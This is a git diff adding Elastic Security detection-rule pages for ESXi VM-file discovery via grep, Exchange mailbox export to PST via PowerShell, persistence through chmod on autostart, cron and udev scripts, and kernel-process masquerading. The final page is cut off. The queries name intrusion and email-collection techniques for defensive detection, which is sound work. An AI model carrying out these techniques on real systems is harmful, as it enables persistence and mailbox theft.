diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-esxi-discovery-via-grep.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-esxi-discovery-via-grep.asciidoc new file mode 100644 index 0000000000..3cc6befbda --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-esxi-discovery-via-grep.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-esxi-discovery-via-grep]] +=== ESXI Discovery via Grep + +Identifies instances where a process named 'grep', 'egrep', or 'pgrep' is started on a Linux system with arguments related to virtual machine (VM) files, such as "vmdk", "vmx", "vmxf", "vmsd", "vmsn", "vswp", "vmss", "nvram", or "vmem". These file extensions are associated with VM-related file formats, and their presence in grep command arguments may indicate that a threat actor is attempting to search for, analyze, or manipulate VM files on the system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ESXI Discovery via Grep* + + +In Linux environments, tools like 'grep' are used to search through files for specific patterns. Adversaries may exploit these tools to locate and analyze virtual machine files, which are crucial for ESXi environments. The detection rule identifies suspicious use of 'grep' variants targeting VM file extensions, signaling potential reconnaissance or manipulation attempts by threat actors. This rule helps in early detection of such malicious activities by monitoring process execution patterns. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of 'grep', 'egrep', or 'pgrep' with arguments related to VM file extensions such as "vmdk", "vmx", "vmxf", "vmsd", "vmsn", "vswp", "vmss", "nvram", or "vmem". +- Check the parent process of the suspicious 'grep' command to determine if it is a legitimate process or potentially malicious, ensuring it is not "/usr/share/qemu/init/qemu-kvm-init". +- Investigate the user account associated with the process execution to assess if the activity aligns with their typical behavior or if it appears anomalous. +- Examine recent system logs and other security alerts for additional indicators of compromise or related suspicious activities on the host. +- Assess the network activity from the host to identify any unusual connections or data exfiltration attempts that may correlate with the discovery activity. + + +*False positive analysis* + + +- System administrators or automated scripts may use grep to search for VM-related files as part of routine maintenance or monitoring tasks. To handle this, create exceptions for known administrative scripts or processes by excluding specific parent processes or user accounts. +- Backup or snapshot management tools might invoke grep to verify the presence of VM files. Identify these tools and exclude their process names or paths from the detection rule to prevent false alerts. +- Developers or IT staff conducting legitimate audits or inventory checks on VM files may trigger this rule. Consider excluding specific user accounts or groups that are authorized to perform such activities. +- Security tools or monitoring solutions that perform regular checks on VM files could also cause false positives. Whitelist these tools by excluding their executable paths or process names from the rule. + + +*Response and remediation* + + +- Isolate the affected Linux system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, specifically those involving 'grep', 'egrep', or 'pgrep' with VM-related file extensions. +- Conduct a thorough review of the system's recent process execution history and file access logs to identify any unauthorized access or changes to VM files. +- Restore any compromised or altered VM files from a known good backup to ensure system integrity and continuity. +- Implement stricter access controls and permissions on VM-related files to limit exposure to unauthorized users or processes. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Update and enhance monitoring rules to detect similar patterns of suspicious activity, ensuring early detection of future threats. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started", "ProcessRollup2") and +process.name in ("grep", "egrep", "pgrep") and +process.args in ("vmdk", "vmx", "vmxf", "vmsd", "vmsn", "vswp", "vmss", "nvram", "vmem") and +not ?process.parent.executable in ("/usr/share/qemu/init/qemu-kvm-init", "/etc/sysconfig/modules/kvm.modules") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exchange-mailbox-export-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exchange-mailbox-export-via-powershell.asciidoc new file mode 100644 index 0000000000..329242a12e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exchange-mailbox-export-via-powershell.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-20-exchange-mailbox-export-via-powershell]] +=== Exchange Mailbox Export via PowerShell + +Detects PowerShell script block content that creates Exchange mailbox export requests via New-MailboxExportRequest, commonly writing PST files. Adversaries can abuse export requests to collect and stage email content for exfiltration. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-mailboxexportrequest?view=exchange-ps +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Data Source: PowerShell Logs + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Exchange Mailbox Export via PowerShell* + + +This alert indicates PowerShell script block content associated with creation of an Exchange mailbox export request. Mailbox exports can produce PST files and may represent sensitive email collection and staging for later access or exfiltration. Prioritize understanding who initiated the activity, which mailbox(es) were targeted, where the output was intended to be written, and whether the activity aligns with approved administrative workflows. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Validate what the script block is attempting to do using `powershell.file.script_block_text`: + - Identify the mailbox target(s). Look for explicit `-Mailbox` values, mailbox identifiers, or mailbox enumeration logic (for example, use of `Get-Mailbox` as an input source). + - Identify the intended export destination from `-FilePath`. Note whether the path appears to be a local path or a network location, and whether the naming pattern suggests a single mailbox export or bulk export activity. + - Note whether the content suggests automation (loops, iteration over multiple mailboxes, variable-driven file paths) versus a single interactive export request. +- Reconstruct full script block content when fragmented: + - If `powershell.file.script_block_text` appears truncated or incomplete, group related events by `powershell.file.script_block_id` and order by `powershell.sequence` up to `powershell.total` to rebuild the full script before assessing intent. + - Pivot to other script blocks from the same `user.id` and `host.id` near `@timestamp` to capture supporting context (variable definitions, functions, or preceding logic that populates mailbox or file path parameters). +- Establish execution context and initiating source: + - Use `host.name` and `host.id` to determine whether the activity originated from an expected Exchange management host (for example, an Exchange server or approved administrative workstation) or from an unexpected endpoint. + - Use `user.domain`, `user.name`, and `user.id` to determine whether the initiating account is expected to perform mailbox export operations (administrator or approved automation account) and whether the timing aligns with known operational windows. + - Use `process.pid` and `host.id` to correlate with process execution telemetry and determine how PowerShell was launched (interactive session vs automated execution) and whether there is an unusual parent process lineage for administrative activity. + - If `file.path` or `file.name` is present, treat the referenced script as a key artifact: + - Determine whether the path and file name match known administrative tooling or expected automation locations. + - If the script is not recognized, preserve it for analysis and assess whether it contains additional collection, staging, or cleanup logic beyond the export request. +- Scope the activity across users, hosts, and time: + - Identify other `powershell.file.script_block_id` values associated with the same `user.id` or `host.id` to determine whether the export activity is part of a larger PowerShell workflow. + - Review whether multiple distinct `process.pid` values are associated with similar export activity for the same user, which may indicate multiple sessions or parallel execution. +- Assess potential impact and staging indicators: + - If an export destination path is identifiable in `powershell.file.script_block_text`, correlate with file activity on the relevant host(s) to determine whether a PST file was created, modified, accessed, moved, or archived after `@timestamp`. + - Correlate with network telemetry for `host.id` around `@timestamp` to identify access to the export destination location and any subsequent outbound transfers that could indicate staging or exfiltration. + - Review authentication activity associated with `user.id` and the involved `host.id` around `@timestamp` for anomalies such as unusual logon sources, new sessions, or activity outside normal administrative patterns. +- Preserve evidence for follow-on analysis: + - Record the reconstructed script content, `powershell.file.script_block_id`, and the full `powershell.sequence`/`powershell.total` range used for reconstruction. + - Capture the specific mailbox identifiers and destination paths observed in `powershell.file.script_block_text` to support scoping and data exposure assessment. + + +*False positive analysis* + + +- Legitimate mailbox exports may occur for compliance, eDiscovery, user support, migrations, or incident response. Validate the presence of an authorized business request, ticket, or approved workflow that matches the timing and the scope of the export. +- Benign activity is more likely when: + - The initiating `user.name` is a known Exchange administrator or authorized automation account in `user.domain`. + - The `host.name` is an expected administrative host for Exchange management tasks. + - The destination path referenced in `powershell.file.script_block_text` aligns with approved export storage locations and expected naming conventions. +- Activity is higher risk when it originates from an unexpected `host.name`, uses an unusual `user.name`, targets many mailboxes, or writes to atypical destinations. + + +*Response and remediation* + + +- If the activity is unauthorized or cannot be validated: + - Contain the initiating account (`user.id`/`user.name`) by disabling the account or removing access to mailbox export capabilities, and rotate credentials as appropriate. + - Contain affected systems (`host.id`/`host.name`) based on scope and confidence. Isolate endpoints used for unexpected Exchange administrative actions to prevent further collection or staging. + - Identify and secure any exported PST output referenced in `powershell.file.script_block_text`. Treat recovered PST files and scripts as sensitive evidence; restrict access and preserve copies for investigation. + - Use approved administrative procedures to cancel or remove unauthorized export requests and prevent completion of in-progress exports. +- Conduct follow-on threat hunting and scoping: + - Search for additional mailbox export activity by the same `user.id` and `host.id`, including repeated or bulk export patterns. + - Review additional PowerShell script block activity for the same `powershell.file.script_block_id` and adjacent script blocks around `@timestamp` to identify related collection, staging, or cleanup actions. +- Reduce recurrence risk: + - Apply least-privilege controls for accounts that can initiate mailbox exports and restrict where exports can be written. + - Limit Exchange administrative actions to approved management hosts and monitored administrative workflows. + - Enhance monitoring for repeated mailbox export requests, unusual export destinations, and suspicious PowerShell activity associated with the same users and hosts. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and +powershell.file.script_block_text : "New-MailboxExportRequest" and +( + powershell.file.script_block_text : ("-FilePath" or ".pst") and + powershell.file.script_block_text : ("-Mailbox" or "Get-Mailbox" or "ExportToPSTFile" or "-Identity") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Local Data Staging +** ID: T1074.001 +** Reference URL: https://attack.mitre.org/techniques/T1074/001/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Local Email Collection +** ID: T1114.001 +** Reference URL: https://attack.mitre.org/techniques/T1114/001/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-executable-bit-set-for-potential-persistence-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-executable-bit-set-for-potential-persistence-script.asciidoc new file mode 100644 index 0000000000..7032325155 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-executable-bit-set-for-potential-persistence-script.asciidoc @@ -0,0 +1,215 @@ +[[prebuilt-rule-8-19-20-executable-bit-set-for-potential-persistence-script]] +=== Executable Bit Set for Potential Persistence Script + +This rule monitors for the addition of an executable bit for scripts that are located in directories which are commonly abused for persistence. An alert of this rule is an indicator that a persistence mechanism is being set up within your environment. Adversaries may create these scripts to execute malicious code at start-up, or at a set interval to gain persistence onto the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/malware-analysis/hiddenwasp-malware-targeting-linux-systems/ +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#8-boot-or-logon-initialization-scripts-rc-scripts +* https://www.cyberciti.biz/faq/how-to-enable-rc-local-shell-script-on-systemd-while-booting-linux-system/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Executable Bit Set for Potential Persistence Script* + + +In Linux environments, scripts with executable permissions can be used to automate tasks, including system start-up processes. Adversaries exploit this by setting executable bits on scripts in directories typically used for persistence, allowing malicious code to run automatically. The detection rule identifies such activities by monitoring for changes in executable permissions in these directories, signaling potential unauthorized persistence attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the specific script or file that had its executable bit set, focusing on the process.args field to determine the exact file path. +- Examine the process.parent.executable field to understand the parent process that initiated the permission change, which can provide context on whether the action was part of a legitimate process or potentially malicious activity. +- Check the user account associated with the process to determine if the action was performed by a legitimate user or a compromised account. +- Investigate the history of the file in question, including recent modifications and the creation date, to assess if it aligns with known system changes or updates. +- Analyze the contents of the script or file to identify any suspicious or unauthorized code that could indicate malicious intent. +- Correlate this event with other recent alerts or logs from the same host to identify patterns or additional indicators of compromise that may suggest a broader persistence mechanism. + + +*False positive analysis* + + +- System administrators or automated scripts may legitimately change executable permissions in directories like /etc/init.d or /etc/cron* for maintenance or updates. To handle these, create exceptions for known administrative scripts or processes that regularly perform these actions. +- Software installations or updates might trigger this rule when they modify startup scripts or configuration files. Users can mitigate this by excluding processes originating from trusted package managers or installation paths, such as /var/lib/dpkg. +- Custom user scripts in home directories, especially in /home/*/.config/autostart, may be flagged if users set them to run at startup. To reduce false positives, maintain a whitelist of user scripts that are known and approved for startup execution. +- Security tools or monitoring solutions might adjust permissions as part of their operations. Identify these tools and exclude their processes from triggering the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are associated with unauthorized script execution. +- Remove or disable the executable permissions on the identified scripts to prevent further unauthorized execution. +- Conduct a thorough review of the affected directories to identify and remove any additional unauthorized scripts or files. +- Restore any modified system files or configurations from a known good backup to ensure system integrity. +- Monitor the system for any signs of re-infection or further unauthorized changes, focusing on the directories and processes highlighted in the alert. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +process.args : ( + // Misc. + "/etc/rc.local", "/etc/rc.common", "/etc/rc.d/rc.local", "/etc/init.d/*", "/etc/update-motd.d/*", + "/etc/apt/apt.conf.d/*", "/etc/cron*", "/etc/init/*", "/etc/NetworkManager/dispatcher.d/*", + "/lib/dracut/modules.d/*", "/usr/lib/dracut/modules.d/*", + + // XDG + "/etc/xdg/autostart/*", "/home/*/.config/autostart/*", "/root/.config/autostart/*", + "/home/*/.local/share/autostart/*", "/root/.local/share/autostart/*", "/home/*/.config/autostart-scripts/*", + "/root/.config/autostart-scripts/*", "/etc/xdg/autostart/*", "/usr/share/autostart/*", + + // udev + "/lib/udev/*", "/etc/udev/rules.d/*", "/usr/lib/udev/rules.d/*", "/run/udev/rules.d/*" + +) and ( + (process.name == "chmod" and process.args : ("+x*", "1*", "3*", "5*", "7*")) or + (process.name == "install" and process.args : "-m*" and process.args : ("7*", "5*", "3*", "1*")) +) and not ( + process.parent.executable : "/var/lib/dpkg/*" or + process.command_line in ("chmod 777 /etc/update-motd.d/", "chmod 755 /etc/update-motd.d/") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Udev Rules +** ID: T1546.017 +** Reference URL: https://attack.mitre.org/techniques/T1546/017/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-executable-masquerading-as-kernel-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-executable-masquerading-as-kernel-process.asciidoc new file mode 100644 index 0000000000..3fd94c8faf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-executable-masquerading-as-kernel-process.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-executable-masquerading-as-kernel-process]] +=== Executable Masquerading as Kernel Process + +Monitors for kernel processes with associated process executable fields that are not empty. Unix kernel processes such as kthreadd and kworker typically do not have process.executable fields associated to them. Attackers may attempt to hide their malicious programs by masquerading as legitimate kernel processes. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sandflysecurity.com/blog/linux-stealth-rootkit-malware-with-edr-evasion-analyzed/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Executable Masquerading as Kernel Process* + + +In Linux environments, kernel processes like `kthreadd` and `kworker` typically run without associated executable paths. Adversaries exploit this by naming malicious executables after these processes to evade detection. The detection rule identifies anomalies by flagging kernel-named processes with non-empty executable fields, indicating potential masquerading attempts. This helps in uncovering stealthy threats that mimic legitimate system activities. + + +*Possible investigation steps* + + +- Review the process details for the flagged process, focusing on the process.executable field to identify the path and name of the executable. This can provide initial insights into whether the executable is legitimate or potentially malicious. +- Check the process's parent process (process.parent) to understand the context in which the process was started. This can help determine if the process was spawned by a legitimate system process or a suspicious one. +- Investigate the file at the path specified in the process.executable field. Verify its legitimacy by checking its hash against known malware databases or using a file reputation service. +- Examine the process's command line arguments (process.command_line) for any unusual or suspicious parameters that might indicate malicious activity. +- Review recent system logs and events around the time the process was started to identify any related activities or anomalies that could provide additional context or evidence of compromise. +- If available, use threat intelligence sources to check for any known indicators of compromise (IOCs) related to the process name or executable path. + + +*False positive analysis* + + +- Custom scripts or administrative tools may be named similarly to kernel processes for convenience or organizational standards. Review these scripts and tools to ensure they are legitimate and consider adding them to an exception list if verified. +- Some legitimate software or monitoring tools might use kernel-like names for their processes to integrate closely with system operations. Verify the source and purpose of these processes and exclude them if they are confirmed to be non-malicious. +- System updates or patches might temporarily create processes with kernel-like names that have executable paths. Monitor these occurrences and exclude them if they are part of a verified update process. +- Development or testing environments may intentionally use kernel-like names for process simulation. Ensure these environments are isolated and add exceptions for these processes if they are part of controlled testing scenarios. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious process immediately to stop any ongoing malicious actions. Use process management tools to kill the process identified by the alert. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise (IOCs) and assess the extent of the intrusion. +- Remove any malicious executables or files associated with the masquerading process from the system to ensure complete remediation. +- Restore the system from a known good backup if the integrity of the system is compromised, ensuring that the backup is free from any malicious artifacts. +- Update and patch the system to close any vulnerabilities that may have been exploited by the attacker, ensuring all software and security tools are up to date. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name : ("kworker*", "kthread*") and process.executable != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Masquerade Task or Service +** ID: T1036.004 +** Reference URL: https://attack.mitre.org/techniques/T1036/004/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-from-unusual-directory-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-from-unusual-directory-command-line.asciidoc new file mode 100644 index 0000000000..637537f073 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-from-unusual-directory-command-line.asciidoc @@ -0,0 +1,295 @@ +[[prebuilt-rule-8-19-20-execution-from-unusual-directory-command-line]] +=== Execution from Unusual Directory - Command Line + +Identifies process execution from suspicious default Windows directories. This may be abused by adversaries to hide malware in trusted paths. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* 